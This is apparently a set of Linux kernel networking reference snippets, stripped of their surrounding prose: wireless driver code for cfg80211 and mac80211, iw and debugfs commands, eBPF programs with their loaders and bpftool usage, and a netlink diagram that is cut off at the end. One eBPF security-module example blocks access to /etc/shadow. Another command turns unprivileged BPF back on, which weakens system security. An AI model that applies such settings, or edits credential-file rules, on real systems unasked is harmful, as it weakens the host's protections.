#include <net/cfg80211.h>

/* FullMAC driver - implements own MAC */
static int my_fullmac_scan(struct wiphy *wiphy,
			   struct cfg80211_scan_request *request)
{
	struct my_priv *priv = wiphy_priv(wiphy);
	int i;

	/* Send scan command to firmware */
	for (i = 0; i < request->n_ssids; i++) {
		my_fw_scan_ssid(priv,
				request->ssids[i].ssid,
				request->ssids[i].ssid_len);
	}

	for (i = 0; i < request->n_channels; i++) {
		my_fw_scan_channel(priv,
				   request->channels[i]->center_freq);
	}

	my_fw_start_scan(priv);

	return 0;
}

/* Firmware event: scan result */
static void my_handle_scan_result(struct my_priv *priv,
				   struct my_scan_result *result)
{
	struct wiphy *wiphy = priv->wiphy;
	struct cfg80211_bss *bss;
	struct ieee80211_channel *channel;
	struct cfg80211_inform_bss data = {};

	channel = ieee80211_get_channel(wiphy, result->frequency);
	if (!channel)
		return;

	/* Inform cfg80211 about BSS */
	bss = cfg80211_inform_bss_data(
		wiphy,
		&data,
		CFG80211_BSS_FTYPE_UNKNOWN,
		result->bssid,
		result->tsf,
		result->capability,
		result->beacon_interval,
		result->ie,
		result->ie_len,
		result->signal,
		GFP_KERNEL);

	cfg80211_put_bss(wiphy, bss);
}

/* Firmware event: scan complete */
static void my_handle_scan_complete(struct my_priv *priv)
{
	struct cfg80211_scan_info info = {
		.aborted = false,
	};

	cfg80211_scan_done(priv->scan_request, &info);
	priv->scan_request = NULL;
}

/* Connect */
static int my_fullmac_connect(struct wiphy *wiphy,
			      struct net_device *dev,
			      struct cfg80211_connect_params *sme)
{
	struct my_priv *priv = wiphy_priv(wiphy);

	/* Send connect command to firmware */
	my_fw_connect(priv,
		      sme->ssid, sme->ssid_len,
		      sme->bssid,
		      sme->channel,
		      sme->auth_type);

	return 0;
}

/* Firmware event: connected */
static void my_handle_connected(struct my_priv *priv)
{
	cfg80211_connect_result(priv->dev,
				priv->bssid,
				NULL, 0,
				NULL, 0,
				WLAN_STATUS_SUCCESS,
				GFP_KERNEL);
}

/* Firmware event: disconnected */
static void my_handle_disconnected(struct my_priv *priv, u16 reason)
{
	cfg80211_disconnected(priv->dev, reason, NULL, 0, true, GFP_KERNEL);
}

#include <net/mac80211.h>

static int my_softmac_start(struct ieee80211_hw *hw)
{
	struct my_priv *priv = hw->priv;

	/* Power on hardware */
	my_hw_power_on(priv);

	/* Load firmware if needed */
	my_load_firmware(priv);

	/* Initialize hardware */
	my_hw_init(priv);

	/* Enable interrupts */
	my_enable_interrupts(priv);

	return 0;
}

static void my_softmac_stop(struct ieee80211_hw *hw)
{
	struct my_priv *priv = hw->priv;

	/* Disable interrupts */
	my_disable_interrupts(priv);

	/* Shutdown hardware */
	my_hw_shutdown(priv);

	/* Power off */
	my_hw_power_off(priv);
}

static int my_softmac_add_interface(struct ieee80211_hw *hw,
				    struct ieee80211_vif *vif)
{
	struct my_priv *priv = hw->priv;

	/* Set MAC address */
	my_hw_set_mac_address(priv, vif->addr);

	/* Set interface type */
	switch (vif->type) {
	case NL80211_IFTYPE_STATION:
		my_hw_set_mode(priv, MODE_STA);
		break;
	case NL80211_IFTYPE_AP:
		my_hw_set_mode(priv, MODE_AP);
		break;
	default:
		return -EOPNOTSUPP;
	}

	return 0;
}

static void my_softmac_bss_info_changed(struct ieee80211_hw *hw,
					struct ieee80211_vif *vif,
					struct ieee80211_bss_conf *info,
					u32 changed)
{
	struct my_priv *priv = hw->priv;

	if (changed & BSS_CHANGED_BSSID) {
		/* BSSID changed */
		my_hw_set_bssid(priv, info->bssid);
	}

	if (changed & BSS_CHANGED_ASSOC) {
		if (info->assoc) {
			/* Associated */
			my_hw_set_associated(priv, true);
			my_hw_set_aid(priv, info->aid);
		} else {
			/* Disassociated */
			my_hw_set_associated(priv, false);
		}
	}

	if (changed & BSS_CHANGED_BEACON_INT) {
		/* Beacon interval changed */
		my_hw_set_beacon_interval(priv, info->beacon_int);
	}

	if (changed & BSS_CHANGED_ERP_CTS_PROT) {
		/* CTS protection changed */
		my_hw_set_cts_protection(priv, info->use_cts_prot);
	}

	if (changed & BSS_CHANGED_ERP_SLOT) {
		/* Slot time changed */
		my_hw_set_short_slot(priv, info->use_short_slot);
	}
}

static int my_softmac_config(struct ieee80211_hw *hw, u32 changed)
{
	struct my_priv *priv = hw->priv;
	struct ieee80211_conf *conf = &hw->conf;

	if (changed & IEEE80211_CONF_CHANGE_CHANNEL) {
		/* Channel changed */
		struct ieee80211_channel *chan = conf->chandef.chan;
		my_hw_set_channel(priv, chan->center_freq);
	}

	if (changed & IEEE80211_CONF_CHANGE_POWER) {
		/* TX power changed */
		my_hw_set_tx_power(priv, conf->power_level);
	}

	if (changed & IEEE80211_CONF_CHANGE_IDLE) {
		/* Idle state changed */
		if (conf->flags & IEEE80211_CONF_IDLE)
			my_hw_enter_idle(priv);
		else
			my_hw_exit_idle(priv);
	}

	return 0;
}

# iw - nl80211 configuration utility

# List wireless devices
iw dev

# Scan for networks
iw dev wlan0 scan

# Connect to network
iw dev wlan0 connect MyNetwork

# Set channel
iw dev wlan0 set channel 6

# Set TX power
iw dev wlan0 set txpower fixed 2000  # 20 dBm

# Create AP
iw dev wlan0 set type __ap
ip link set wlan0 up
iw dev wlan0 set channel 6

# Monitor mode
iw dev wlan0 set type monitor
ip link set wlan0 up

# Station info
iw dev wlan0 station dump

# Link statistics
iw dev wlan0 link

# Survey (channel usage)
iw dev wlan0 survey dump

#include <net/nl80211.h>

/* User space typically uses libnl */
#include <netlink/netlink.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>

/* Send scan request */
static int nl80211_scan(const char *ifname)
{
	struct nl_sock *sk;
	struct nl_msg *msg;
	int ret, family_id;

	sk = nl_socket_alloc();
	genl_connect(sk);

	family_id = genl_ctrl_resolve(sk, "nl80211");

	msg = nlmsg_alloc();
	genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_TRIGGER_SCAN, 0);

	nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_nametoindex(ifname));

	ret = nl_send_auto(sk, msg);
	nlmsg_free(msg);

	nl_socket_free(sk);

	return ret;
}

/* Regulatory domain definition */
static const struct ieee80211_regdomain my_regdom = {
	.n_reg_rules = 2,
	.alpha2 = "US",
	.reg_rules = {
		/* 2.4 GHz */
		REG_RULE(2412-10, 2462+10, 40, 6, 20, 0),
		/* 5 GHz */
		REG_RULE(5180-10, 5320+10, 160, 6, 23, 0),
	}
};

/* Set regulatory domain */
static void my_set_regdom(struct wiphy *wiphy)
{
	regulatory_hint(wiphy, "US");
}

/* Regulatory notifier */
static void my_reg_notifier(struct wiphy *wiphy,
			    struct regulatory_request *request)
{
	struct my_priv *priv = wiphy_priv(wiphy);

	pr_info("Regulatory domain: %c%c\n",
		request->alpha2[0], request->alpha2[1]);

	/* Update hardware with new regulatory settings */
	my_hw_update_regulatory(priv, request);
}

/* Parse country IE from beacon */
static void my_parse_country_ie(struct my_priv *priv,
				const u8 *country_ie, size_t len)
{
	char alpha2[2];
	struct ieee80211_regdomain *rd;

	if (len < 6)
		return;

	/* Extract country code */
	alpha2[0] = country_ie[0];
	alpha2[1] = country_ie[1];

	/* Hint regulatory domain */
	regulatory_hint(priv->wiphy, alpha2);
}

/* Enable power save */
static int my_set_power_mgmt(struct wiphy *wiphy,
			     struct net_device *dev,
			     bool enabled, int timeout)
{
	struct my_priv *priv = wiphy_priv(wiphy);

	if (enabled) {
		my_hw_enable_power_save(priv);
		my_hw_set_ps_timeout(priv, timeout);
	} else {
		my_hw_disable_power_save(priv);
	}

	return 0;
}

/* Handle beacon from AP (in power save mode) */
static void my_handle_beacon(struct my_priv *priv, struct sk_buff *skb)
{
	struct ieee80211_mgmt *mgmt = (void *)skb->data;
	u8 *tim_ie;
	bool has_buffered;

	/* Find TIM IE */
	tim_ie = my_find_ie(mgmt->u.beacon.variable,
			    skb->len - offsetof(struct ieee80211_mgmt,
						u.beacon.variable),
			    WLAN_EID_TIM);

	if (!tim_ie)
		return;

	/* Check if AP has buffered frames */
	has_buffered = my_check_tim(tim_ie, priv->aid);

	if (has_buffered) {
		/* Send PS-Poll to retrieve frames */
		my_send_pspoll(priv);
	}
}

/* Client entered power save */
static void my_sta_ps_start(struct my_priv *priv, struct ieee80211_sta *sta)
{
	/* Mark station as sleeping */
	set_sta_flag(sta, WLAN_STA_PS_STA);

	/* Queue frames instead of transmitting */
}

/* Client exited power save */
static void my_sta_ps_end(struct my_priv *priv, struct ieee80211_sta *sta)
{
	/* Mark station as awake */
	clear_sta_flag(sta, WLAN_STA_PS_STA);

	/* Transmit buffered frames */
	my_deliver_buffered_frames(priv, sta);
}

/* Send probe request */
static void my_send_probe_req(struct my_priv *priv,
			      const u8 *ssid, size_t ssid_len,
			      u32 freq)
{
	struct sk_buff *skb;
	struct ieee80211_mgmt *mgmt;
	u8 *pos;

	skb = dev_alloc_skb(200);
	mgmt = (struct ieee80211_mgmt *)skb_put(skb,
		offsetof(struct ieee80211_mgmt, u.probe_req.variable));

	/* Fill in header */
	mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_MGMT |
					  IEEE80211_STYPE_PROBE_REQ);
	eth_broadcast_addr(mgmt->da);
	memcpy(mgmt->sa, priv->mac_addr, ETH_ALEN);
	eth_broadcast_addr(mgmt->bssid);

	/* Add SSID IE */
	pos = skb_put(skb, 2 + ssid_len);
	*pos++ = WLAN_EID_SSID;
	*pos++ = ssid_len;
	memcpy(pos, ssid, ssid_len);

	/* Add supported rates IE */
	/* ... */

	/* Transmit */
	my_tx_mgmt_frame(priv, skb, freq);
}

/* Listen for beacons on channel */
static void my_passive_scan_channel(struct my_priv *priv, u32 freq)
{
	/* Switch to channel */
	my_hw_set_channel(priv, freq);

	/* Wait for beacons (typically 100-200ms per channel) */
	msleep(100);

	/* Process received beacons in RX handler */
}

/* 1. Authentication */
static int my_authenticate(struct my_priv *priv,
			   const u8 *bssid,
			   enum nl80211_auth_type auth_type)
{
	struct sk_buff *skb;
	struct ieee80211_mgmt *mgmt;

	skb = dev_alloc_skb(256);
	mgmt = (struct ieee80211_mgmt *)skb_put(skb,
		offsetof(struct ieee80211_mgmt, u.auth.variable));

	mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_MGMT |
					  IEEE80211_STYPE_AUTH);
	memcpy(mgmt->da, bssid, ETH_ALEN);
	memcpy(mgmt->sa, priv->mac_addr, ETH_ALEN);
	memcpy(mgmt->bssid, bssid, ETH_ALEN);

	mgmt->u.auth.auth_alg = cpu_to_le16(auth_type);
	mgmt->u.auth.auth_transaction = cpu_to_le16(1);
	mgmt->u.auth.status_code = 0;

	my_tx_mgmt_frame(priv, skb, priv->channel_freq);

	return 0;
}

/* 2. Handle authentication response */
static void my_handle_auth_resp(struct my_priv *priv, struct sk_buff *skb)
{
	struct ieee80211_mgmt *mgmt = (void *)skb->data;
	u16 status = le16_to_cpu(mgmt->u.auth.status_code);

	if (status == WLAN_STATUS_SUCCESS) {
		/* Authenticated, proceed to association */
		cfg80211_tx_mlme_mgmt(priv->dev, skb->data, skb->len);
		my_associate(priv, mgmt->bssid);
	} else {
		cfg80211_tx_mlme_mgmt(priv->dev, skb->data, skb->len);
	}
}

/* 3. Association */
static int my_associate(struct my_priv *priv, const u8 *bssid)
{
	struct sk_buff *skb;
	struct ieee80211_mgmt *mgmt;
	u8 *pos;

	skb = dev_alloc_skb(512);
	mgmt = (struct ieee80211_mgmt *)skb_put(skb,
		offsetof(struct ieee80211_mgmt, u.assoc_req.variable));

	mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_MGMT |
					  IEEE80211_STYPE_ASSOC_REQ);
	memcpy(mgmt->da, bssid, ETH_ALEN);
	memcpy(mgmt->sa, priv->mac_addr, ETH_ALEN);
	memcpy(mgmt->bssid, bssid, ETH_ALEN);

	mgmt->u.assoc_req.capab_info = cpu_to_le16(WLAN_CAPABILITY_ESS);
	mgmt->u.assoc_req.listen_interval = cpu_to_le16(10);

	pos = mgmt->u.assoc_req.variable;

	/* Add SSID IE */
	/* Add supported rates IE */
	/* Add HT capabilities IE */
	/* Add VHT capabilities IE */
	/* ... */

	my_tx_mgmt_frame(priv, skb, priv->channel_freq);

	return 0;
}

/* 4. Handle association response */
static void my_handle_assoc_resp(struct my_priv *priv, struct sk_buff *skb)
{
	struct ieee80211_mgmt *mgmt = (void *)skb->data;
	u16 status = le16_to_cpu(mgmt->u.assoc_resp.status_code);
	u16 aid = le16_to_cpu(mgmt->u.assoc_resp.aid);

	if (status == WLAN_STATUS_SUCCESS) {
		priv->aid = aid & 0x3fff;
		cfg80211_connect_result(priv->dev,
					mgmt->bssid,
					NULL, 0, NULL, 0,
					status, GFP_KERNEL);
	} else {
		cfg80211_connect_result(priv->dev,
					mgmt->bssid,
					NULL, 0, NULL, 0,
					status, GFP_KERNEL);
	}
}

/* Start mesh interface */
static int my_join_mesh(struct wiphy *wiphy,
			struct net_device *dev,
			const struct mesh_config *conf,
			const struct mesh_setup *setup)
{
	struct my_priv *priv = wiphy_priv(wiphy);

	/* Set mesh ID */
	memcpy(priv->mesh_id, setup->mesh_id, setup->mesh_id_len);
	priv->mesh_id_len = setup->mesh_id_len;

	/* Enable mesh mode in hardware */
	my_hw_enable_mesh(priv);

	/* Start beaconing */
	my_start_mesh_beaconing(priv);

	return 0;
}

/* Handle mesh peering */
static void my_mesh_peer_open(struct my_priv *priv,
			      const u8 *peer_addr)
{
	/* Send peer link open frame */
	my_send_mesh_peering_frame(priv, peer_addr,
				    MESH_PEERING_OPEN);
}

# Enable cfg80211 debug messages
echo 'module cfg80211 +p' > /sys/kernel/debug/dynamic_debug/control

# Or at boot
cfg80211.debug=0xffffffff

# Enable mac80211 debug
echo 'module mac80211 +p' > /sys/kernel/debug/dynamic_debug/control

# Or at module load
modprobe mac80211 debug=0xffffffff

# Debug categories (bitfield):
# 0x00000001 - INFO
# 0x00000002 - PS (power save)
# 0x00000004 - HT (high throughput)
# 0x00000008 - TX status

/* Use dev_dbg for driver messages */
dev_dbg(&pdev->dev, "Channel: %d, Freq: %d\n", channel, freq);

/* Conditional debugging */
#ifdef DEBUG
#define my_dbg(fmt, ...) pr_debug(fmt, ##__VA_ARGS__)
#else
#define my_dbg(fmt, ...) no_printk(fmt, ##__VA_ARGS__)
#endif

/* Rate control debugging */
#ifdef CONFIG_MAC80211_RC_MINSTREL_DEBUGFS
/* Rate stats available in debugfs */
/* /sys/kernel/debug/ieee80211/phyX/netdev:wlanX/stations/<MAC>/rc_stats */
#endif

# List all wireless devices
ls /sys/kernel/debug/ieee80211/

# Per-PHY info
cat /sys/kernel/debug/ieee80211/phy0/hwflags
cat /sys/kernel/debug/ieee80211/phy0/queues

# Per-netdev info
ls /sys/kernel/debug/ieee80211/phy0/netdev:wlan0/

# Station info
ls /sys/kernel/debug/ieee80211/phy0/netdev:wlan0/stations/

# Rate control stats
cat /sys/kernel/debug/ieee80211/phy0/netdev:wlan0/stations/<MAC>/rc_stats

# Reset stats
echo 1 > /sys/kernel/debug/ieee80211/phy0/reset

# Monitor mode for packet capture
iw dev wlan0 set type monitor
ip link set wlan0 up
iw dev wlan0 set channel 6

# Capture with tcpdump
tcpdump -i wlan0 -w capture.pcap

# Or with wireshark
wireshark -i wlan0 -k

R0:  Return value from functions/exit value
R1-R5: Function arguments
R6-R9: Callee-saved registers
R10: Read-only frame pointer

# Enable JIT compiler
echo 1 > /proc/sys/net/core/bpf_jit_enable

# Enable JIT debug (dump compiled code)
echo 2 > /proc/sys/net/core/bpf_jit_enable

SEC("xdp")
int xdp_prog(struct xdp_md *ctx) {
    // Access packet data
    void *data_end = (void *)(long)ctx->data_end;
    void *data = (void *)(long)ctx->data;

    // Process packet
    return XDP_PASS;
}

tc qdisc add dev eth0 clsact
tc filter add dev eth0 ingress bpf da obj prog.o sec classifier

SEC("tracepoint/syscalls/sys_enter_execve")
int trace_execve(struct trace_event_raw_sys_enter *ctx) {
    // Trace execve system call
    return 0;
}

SEC("kprobe/tcp_connect")
int trace_tcp_connect(struct pt_regs *ctx) {
    // Hook tcp_connect function
    return 0;
}

SEC("kretprobe/tcp_connect")
int trace_tcp_connect_ret(struct pt_regs *ctx) {
    // Get return value
    int ret = PT_REGS_RC(ctx);
    return 0;
}

SEC("uprobe/usr/lib/libc.so.6:malloc")
int trace_malloc(struct pt_regs *ctx) {
    size_t size = PT_REGS_PARM1(ctx);
    return 0;
}

SEC("lsm/file_open")
int BPF_PROG(file_open, struct file *file) {
    // Implement access control
    return 0; // Allow
}

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 10000);
    __type(key, u32);
    __type(value, u64);
} my_hash_map SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 256);
    __type(key, u32);
    __type(value, u64);
} my_array SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
    __uint(max_entries, 256);
    __type(key, u32);
    __type(value, u64);
} percpu_stats SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} events SEC(".maps");

// Reserve and submit
struct event *e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
if (e) {
    e->pid = bpf_get_current_pid_tgid() >> 32;
    bpf_ringbuf_submit(e, 0);
}

struct {
    __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
    __uint(key_size, sizeof(u32));
    __uint(value_size, sizeof(u32));
} events SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_LRU_HASH);
    __uint(max_entries, 10000);
    __type(key, u32);
    __type(value, u64);
} lru_cache SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_STACK_TRACE);
    __uint(max_entries, 1000);
    __type(key, u32);
    __type(value, u64[127]);
} stack_traces SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
    __uint(max_entries, 10);
    __type(key, u32);
    __type(value, u32);
} prog_array SEC(".maps");

// Tail call
bpf_tail_call(ctx, &prog_array, index);

// Lookup
value = bpf_map_lookup_elem(&my_map, &key);

// Update
bpf_map_update_elem(&my_map, &key, &value, BPF_ANY);

// Delete
bpf_map_delete_elem(&my_map, &key);

from bcc import BPF

prog = """
int hello(void *ctx) {
    bpf_trace_printk("Hello, World!\\n");
    return 0;
}
"""

b = BPF(text=prog)
b.attach_kprobe(event="sys_clone", fn_name="hello")

struct bpf_object *obj;
struct bpf_program *prog;
struct bpf_link *link;

obj = bpf_object__open_file("prog.o", NULL);
bpf_object__load(obj);
prog = bpf_object__find_program_by_name(obj, "xdp_prog");
link = bpf_program__attach(prog);

# List programs
bpftool prog list

# Show program details
bpftool prog show id 123

# Dump program bytecode
bpftool prog dump xlated id 123

# List maps
bpftool map list

# Dump map contents
bpftool map dump id 456

# Load program
bpftool prog load prog.o /sys/fs/bpf/myprog

# Pin map
bpftool map pin id 456 /sys/fs/bpf/mymap

import "github.com/cilium/ebpf"

spec, err := ebpf.LoadCollectionSpec("prog.o")
coll, err := ebpf.NewCollection(spec)
defer coll.Close()

prog := coll.Programs["xdp_prog"]
link, err := link.AttachXDP(link.XDPOptions{
    Program:   prog,
    Interface: iface.Index,
})
defer link.Close()

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

// Define map
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, u32);
    __type(value, u64);
} stats SEC(".maps");

// eBPF program
SEC("xdp")
int xdp_main(struct xdp_md *ctx) {
    u32 key = 0;
    u64 *count;

    count = bpf_map_lookup_elem(&stats, &key);
    if (count) {
        __sync_fetch_and_add(count, 1);
    }

    return XDP_PASS;
}

char LICENSE[] SEC("license") = "GPL";

# Compile to eBPF bytecode
clang -O2 -g -target bpf -c prog.c -o prog.o

# With BTF (Type Information)
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 \
    -I/usr/include/bpf -c prog.c -o prog.o

#include <vmlinux.h>
#include <bpf/bpf_core_read.h>

SEC("kprobe/tcp_connect")
int trace_connect(struct pt_regs *ctx) {
    struct sock *sk = (struct sock *)PT_REGS_PARM1(ctx);
    u16 family;

    // CO-RE read - portable across kernel versions
    BPF_CORE_READ_INTO(&family, sk, __sk_common.skc_family);

    return 0;
}

bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

#include <bpf/libbpf.h>
#include <bpf/bpf.h>

int main() {
    struct bpf_object *obj;
    struct bpf_program *prog;
    int prog_fd, map_fd;

    // Open and load
    obj = bpf_object__open_file("prog.o", NULL);
    bpf_object__load(obj);

    // Get program
    prog = bpf_object__find_program_by_name(obj, "xdp_main");
    prog_fd = bpf_program__fd(prog);

    // Get map
    map_fd = bpf_object__find_map_fd_by_name(obj, "stats");

    // Attach (XDP example)
    int ifindex = if_nametoindex("eth0");
    bpf_xdp_attach(ifindex, prog_fd, XDP_FLAGS_UPDATE_IF_NOEXIST, NULL);

    // Read from map
    u32 key = 0;
    u64 value;
    bpf_map_lookup_elem(map_fd, &key, &value);
    printf("Count: %llu\n", value);

    // Cleanup
    bpf_xdp_detach(ifindex, XDP_FLAGS_UPDATE_IF_NOEXIST, NULL);
    bpf_object__close(obj);

    return 0;
}

gcc -o loader loader.c -lbpf -lelf -lz

#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <bpf/bpf_helpers.h>

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 256);
    __type(key, u32);
    __type(value, u64);
} proto_count SEC(".maps");

SEC("xdp")
int count_packets(struct xdp_md *ctx) {
    void *data_end = (void *)(long)ctx->data_end;
    void *data = (void *)(long)ctx->data;

    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end)
        return XDP_PASS;

    if (eth->h_proto != __constant_htons(ETH_P_IP))
        return XDP_PASS;

    struct iphdr *ip = (void *)(eth + 1);
    if ((void *)(ip + 1) > data_end)
        return XDP_PASS;

    u32 key = ip->protocol;
    u64 *count = bpf_map_lookup_elem(&proto_count, &key);
    if (count)
        __sync_fetch_and_add(count, 1);

    return XDP_PASS;
}

char LICENSE[] SEC("license") = "GPL";

clang -O2 -g -target bpf -c prog.c -o prog.o
ip link set dev eth0 xdp obj prog.o sec xdp

bpftool map dump name proto_count

#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>

struct event {
    u32 pid;
    char comm[16];
};

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} events SEC(".maps");

SEC("tracepoint/syscalls/sys_enter_execve")
int trace_execve(struct trace_event_raw_sys_enter *ctx) {
    struct event *e;

    e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
    if (!e)
        return 0;

    e->pid = bpf_get_current_pid_tgid() >> 32;
    bpf_get_current_comm(&e->comm, sizeof(e->comm));

    bpf_ringbuf_submit(e, 0);
    return 0;
}

char LICENSE[] SEC("license") = "GPL";

#include <bpf/libbpf.h>
#include <bpf/bpf.h>

struct event {
    u32 pid;
    char comm[16];
};

int handle_event(void *ctx, void *data, size_t len) {
    struct event *e = data;
    printf("PID: %d, COMM: %s\n", e->pid, e->comm);
    return 0;
}

int main() {
    struct bpf_object *obj;
    struct ring_buffer *rb;
    int map_fd;

    obj = bpf_object__open_file("execsnoop.o", NULL);
    bpf_object__load(obj);

    map_fd = bpf_object__find_map_fd_by_name(obj, "events");
    rb = ring_buffer__new(map_fd, handle_event, NULL, NULL);

    while (1) {
        ring_buffer__poll(rb, 100);
    }

    return 0;
}

#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>

struct conn_event {
    u32 pid;
    u32 saddr;
    u32 daddr;
    u16 sport;
    u16 dport;
};

struct {
    __uint(type, BPF_MAP_TYPE_RINGBUF);
    __uint(max_entries, 256 * 1024);
} events SEC(".maps");

SEC("kprobe/tcp_connect")
int trace_connect(struct pt_regs *ctx) {
    struct sock *sk = (struct sock *)PT_REGS_PARM1(ctx);
    struct conn_event *e;
    u16 family;

    BPF_CORE_READ_INTO(&family, sk, __sk_common.skc_family);
    if (family != AF_INET)
        return 0;

    e = bpf_ringbuf_reserve(&events, sizeof(*e), 0);
    if (!e)
        return 0;

    e->pid = bpf_get_current_pid_tgid() >> 32;
    BPF_CORE_READ_INTO(&e->saddr, sk, __sk_common.skc_rcv_saddr);
    BPF_CORE_READ_INTO(&e->daddr, sk, __sk_common.skc_daddr);
    BPF_CORE_READ_INTO(&e->sport, sk, __sk_common.skc_num);
    BPF_CORE_READ_INTO(&e->dport, sk, __sk_common.skc_dport);
    e->dport = __bpf_ntohs(e->dport);

    bpf_ringbuf_submit(e, 0);
    return 0;
}

char LICENSE[] SEC("license") = "GPL";

#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_core_read.h>

SEC("lsm/file_open")
int BPF_PROG(restrict_file_open, struct file *file, int ret) {
    const char *filename;
    char comm[16];
    char name[256];

    if (ret != 0)
        return ret;

    bpf_get_current_comm(&comm, sizeof(comm));

    filename = BPF_CORE_READ(file, f_path.dentry, d_name.name);
    bpf_probe_read_kernel_str(name, sizeof(name), filename);

    // Block access to /etc/shadow for specific process
    if (__builtin_memcmp(name, "shadow", 6) == 0) {
        bpf_printk("Blocked access to %s by %s\n", name, comm);
        return -1; // EPERM
    }

    return 0;
}

char LICENSE[] SEC("license") = "GPL";

// ❌ BAD: Unbounded loop (pre-5.3)
for (int i = 0; i < n; i++) { }

// ✅ GOOD: Bounded loop
#pragma unroll
for (int i = 0; i < 10; i++) { }

// ✅ GOOD: Bounded with verifier check (5.3+)
for (int i = 0; i < n && i < 100; i++) { }

// ❌ BAD: Unchecked pointer
void *data = (void *)(long)ctx->data;
struct ethhdr *eth = data;
return eth->h_proto; // Verifier error!

// ✅ GOOD: Bounds check
void *data = (void *)(long)ctx->data;
void *data_end = (void *)(long)ctx->data_end;
struct ethhdr *eth = data;
if ((void *)(eth + 1) > data_end)
    return XDP_DROP;
return eth->h_proto;

# Grant specific capabilities
setcap cap_bpf,cap_perfmon,cap_net_admin+eip ./my_program

# Enable (use with caution)
sysctl kernel.unprivileged_bpf_disabled=0

# Disable (recommended)
sysctl kernel.unprivileged_bpf_disabled=1

R0 invalid mem access 'inv'

unreachable insn 123

back-edge from insn 45 to 12

R1 !read_ok

bpf_printk("Debug: value=%d\n", value);

cat /sys/kernel/debug/tracing/trace_pipe
# or
bpftool prog tracelog

# Dump translated bytecode
bpftool prog dump xlated id 123

# Dump JIT code
bpftool prog dump jited id 123

# Show verifier log
bpftool prog load prog.o /sys/fs/bpf/prog 2>&1 | less

// In user-space loader
LIBBPF_OPTS(bpf_object_open_opts, opts,
    .kernel_log_level = 1 | 2 | 4,  // Verbosity levels
);
obj = bpf_object__open_file("prog.o", &opts);

bpftool -d prog load prog.o /sys/fs/bpf/prog

# Dump all map entries
bpftool map dump id 123

# Update map entry
bpftool map update id 123 key 0 0 0 0 value 1 0 0 0 0 0 0 0

# Delete entry
bpftool map delete id 123 key 0 0 0 0

# Enable statistics
bpftool feature probe kernel | grep stats
sysctl -w kernel.bpf_stats_enabled=1

# View program stats (run count, runtime)
bpftool prog show id 123

u64 start = bpf_ktime_get_ns();
// ... program logic ...
u64 duration = bpf_ktime_get_ns() - start;

# Profile eBPF program
perf record -e bpf:bpf_prog_run -a
perf report

# Install development tools (Ubuntu/Debian)
apt install -y clang llvm libelf-dev libz-dev libbpf-dev \
    linux-tools-common linux-tools-generic bpftool

# Install BCC
apt install -y bpfcc-tools python3-bpfcc

# Install bpftrace
apt install -y bpftrace

# List all eBPF programs
bpftool prog list

# List all maps
bpftool map list

# Show program by ID
bpftool prog show id <ID>

# Dump program bytecode
bpftool prog dump xlated id <ID>

# Pin program to filesystem
bpftool prog pin id <ID> /sys/fs/bpf/<name>

# Load program from object file
bpftool prog load prog.o /sys/fs/bpf/myprog

# Attach XDP program
ip link set dev <iface> xdp obj prog.o sec xdp

# Detach XDP program
ip link set dev <iface> xdp off

# Attach TC program
tc qdisc add dev <iface> clsact
tc filter add dev <iface> ingress bpf da obj prog.o

# View trace output
cat /sys/kernel/debug/tracing/trace_pipe

graph TB
    subgraph UserSpace["User Space"]
        App1[Application 1]
        App2[Application 2]
        App3[Application 3]
        Lib[libnl/pyroute2]
    end

    subgraph KernelSpace["Kernel Space"]
        NLS[Netlink Socket Layer]

        subgraph Families["Netlink Families"]
            ROUTE[NETLINK_ROUTE<br/>rtnetlink]
            GEN[NETLINK_GENERIC<br/>generic netlink]
            NF[NETLINK_NETFILTER]
            KOBJ[NETLINK_KOBJECT_UEVENT]
            DIAG[NETLINK_SOCK_DIAG]
        end

        subgraph Subsystems["Kernel Subsystems"]
            NET[Network Stack]
            FW[Netfilter]
            UDEV[Device Manager]
        end
    end

    App1 -->|AF_NETLINK| NLS
    App2 -->|AF_NETLINK| NLS
    App3 -->|AF_NETLINK| NLS
    Lib -->|AF_NETLINK| NLS

    NLS --> ROUTE
    NLS --> GEN
    NLS --> NF
    NLS --> KOBJ
    NLS --> DIAG

    ROUTE <--> NET
    GEN <--> NET
    NF <--> FW
    KOBJ <--> UDEV

    style UserSpace fill:#E6F3FF
    style KernelSpace fill:#FFE6E6
    style Families fill:#FFF9E6
    style Subsystems fill:#E6FFE6

int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

graph TB
    subgraph Pattern1["Unicast (Request-Response)"]
        U1[User Process] -->|Request| K1[Kernel]
        K1 -->|Response| U1
    end

    subgraph Pattern2["Multicast (Event Broadcasting)"]
        K2[Kernel] -->|Event| M1[Subscribed Process 1]
        K2 -->|Event| M2[Subscribed Process 2]
